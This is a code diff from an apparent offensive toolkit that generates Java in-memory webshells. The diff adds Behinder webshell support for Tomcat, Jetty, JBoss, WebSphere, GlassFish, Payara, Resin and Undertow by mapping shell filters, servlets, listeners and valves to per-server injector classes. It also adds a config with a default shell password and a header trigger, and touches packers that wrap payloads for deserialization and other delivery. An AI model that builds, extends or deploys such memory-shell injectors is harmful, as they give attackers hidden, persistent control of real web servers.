import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
@@ -52,4 +55,16 @@ public class GlassFishShell extends AbstractShell {
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
|
||||
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
|
||||
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
|
||||
VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
|
||||
@@ -4,9 +4,9 @@ import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.InjectorConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
@@ -1,11 +1,13 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.jboss.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.jboss.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.jboss.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
@@ -39,4 +41,12 @@ public class JbossShell extends AbstractShell {
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,11 +1,14 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
@@ -15,7 +18,7 @@ import org.apache.commons.lang3.tuple.Pair;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.config.Constants.*;
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -51,4 +54,16 @@ public class JettyShell extends AbstractShell {
|
||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class),
|
||||
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class),
|
||||
FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
|
||||
LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.payara.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.payara.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.payara.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector;
|
||||
import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector;
|
||||
import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
@@ -52,4 +55,16 @@ public class PayaraShell extends AbstractShell {
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
|
||||
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, PayaraFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
|
||||
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, PayaraListenerInjector.class),
|
||||
VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(BehinderValve.class, PayaraValveInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.resin.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
@@ -49,4 +52,16 @@ public class ResinShell extends AbstractShell {
|
||||
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
Constants.SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
|
||||
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
|
||||
Constants.FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
|
||||
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class),
|
||||
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
@@ -16,7 +20,7 @@ import org.apache.commons.lang3.tuple.Pair;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.config.Constants.*;
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -62,4 +66,18 @@ public class TomcatShell extends AbstractShell {
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class),
|
||||
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class),
|
||||
FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class),
|
||||
LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
|
||||
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,11 +1,14 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
|
||||
@@ -49,4 +52,16 @@ public class UndertowShell extends AbstractShell {
|
||||
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
Constants.SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
|
||||
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
|
||||
Constants.FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
|
||||
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
|
||||
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,11 +1,14 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
|
||||
@@ -43,4 +46,13 @@ public class WebSphereShell extends AbstractShell {
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
Constants.SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
|
||||
Constants.FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
public class BehinderConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String pass = "pass";
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
}
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.config;
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Getter;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.config;
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.config;
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.config;
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.config;
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.config;
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.*;
|
||||
import lombok.Getter;
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.config;
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
+7
-2
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.config;
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -13,5 +13,10 @@ public enum ShellTool {
|
||||
/**
|
||||
* 命令回显
|
||||
*/
|
||||
Command
|
||||
Command,
|
||||
|
||||
/**
|
||||
* 冰蝎
|
||||
*/
|
||||
Behinder
|
||||
}
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.config;
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.bcel.classfile.Utility;
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.Getter;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.util;
|
||||
package com.reajason.javaweb.memshell.utils;
|
||||
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
@@ -1,10 +0,0 @@
|
||||
package com.reajason.javaweb.util;
|
||||
|
||||
public class ClassDefiner extends ClassLoader {
|
||||
private ClassDefiner() {
|
||||
}
|
||||
|
||||
public static Class<?> defineClass(byte[] code) {
|
||||
return new ClassDefiner().defineClass(null, code, 0, code.length);
|
||||
}
|
||||
}
|
||||
@@ -1,39 +0,0 @@
|
||||
package com.reajason.javaweb.util;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/23
|
||||
*/
|
||||
public class ClassUtils {
|
||||
|
||||
@SneakyThrows
|
||||
public static Class<?> defineClass(byte[] bytes) {
|
||||
return ClassDefiner.defineClass(bytes);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
@SuppressWarnings("deprecation")
|
||||
public static Object newInstance(byte[] bytes) {
|
||||
Class<?> clazz = defineClass(bytes);
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static Object getFieldValue(Object object, String fieldName) {
|
||||
Field field = object.getClass().getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(object);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static Object invokeMethod(Object object, String methodName, Class<?>[] parameterTypes, Object[] parameters) {
|
||||
Method method = object.getClass().getDeclaredMethod(methodName, parameterTypes);
|
||||
method.setAccessible(true);
|
||||
return method.invoke(object, parameters);
|
||||
}
|
||||
}
|
||||
@@ -1,413 +0,0 @@
|
||||
org.apache.coyote.AbstractTypeResolver
|
||||
org.apache.coyote.AnnotationIntrospector
|
||||
org.apache.coyote.BeanDescription
|
||||
org.apache.coyote.BeanProperty
|
||||
org.apache.coyote.DatabindContext
|
||||
org.apache.coyote.DeserializationConfig
|
||||
org.apache.coyote.DeserializationContext
|
||||
org.apache.coyote.DeserializationFeature
|
||||
org.apache.coyote.InjectableValues
|
||||
org.apache.coyote.JavaType
|
||||
org.apache.coyote.JsonDeserializer
|
||||
org.apache.coyote.JsonMappingException
|
||||
org.apache.coyote.JsonNode
|
||||
org.apache.coyote.JsonSerializable
|
||||
org.apache.coyote.JsonSerializer
|
||||
org.apache.coyote.KeyDeserializer
|
||||
org.apache.coyote.MapperFeature
|
||||
org.apache.coyote.MappingIterator
|
||||
org.apache.coyote.MappingJsonFactory
|
||||
org.apache.coyote.Module
|
||||
org.apache.coyote.ObjectMapper
|
||||
org.apache.coyote.ObjectReader
|
||||
org.apache.coyote.ObjectWriter
|
||||
org.apache.coyote.PropertyMetadata
|
||||
org.apache.coyote.PropertyName
|
||||
org.apache.coyote.PropertyNamingStrategy
|
||||
org.apache.coyote.RuntimeJsonMappingException
|
||||
org.apache.coyote.SequenceWriter
|
||||
org.apache.coyote.SerializationConfig
|
||||
org.apache.coyote.SerializationFeature
|
||||
org.apache.coyote.SerializerProvider
|
||||
org.apache.coyote.annotation.JacksonStdImpl
|
||||
org.apache.coyote.annotation.JsonAppend
|
||||
org.apache.coyote.annotation.JsonDeserialize
|
||||
org.apache.coyote.annotation.JsonNaming
|
||||
org.apache.coyote.annotation.JsonPOJOBuilder
|
||||
org.apache.coyote.annotation.JsonSerialize
|
||||
org.apache.coyote.annotation.JsonTypeIdResolver
|
||||
org.apache.coyote.annotation.JsonTypeResolver
|
||||
org.apache.coyote.annotation.JsonValueInstantiator
|
||||
org.apache.coyote.annotation.NoClass
|
||||
org.apache.coyote.cfg.BaseSettings
|
||||
org.apache.coyote.cfg.ConfigFeature
|
||||
org.apache.coyote.cfg.ConfigOverride
|
||||
org.apache.coyote.cfg.ConfigOverrides
|
||||
org.apache.coyote.cfg.ContextAttributes
|
||||
org.apache.coyote.cfg.DeserializerFactoryConfig
|
||||
org.apache.coyote.cfg.HandlerInstantiator
|
||||
org.apache.coyote.cfg.MapperBuilder
|
||||
org.apache.coyote.cfg.MapperConfig
|
||||
org.apache.coyote.cfg.MapperConfigBase
|
||||
org.apache.coyote.cfg.MutableConfigOverride
|
||||
org.apache.coyote.cfg.PackageVersion
|
||||
org.apache.coyote.cfg.SerializerFactoryConfig
|
||||
org.apache.coyote.deser.AbstractDeserializer
|
||||
org.apache.coyote.deser.BasicDeserializerFactory
|
||||
org.apache.coyote.deser.BeanDeserializer
|
||||
org.apache.coyote.deser.BeanDeserializerBase
|
||||
org.apache.coyote.deser.BeanDeserializerBuilder
|
||||
org.apache.coyote.deser.BeanDeserializerFactory
|
||||
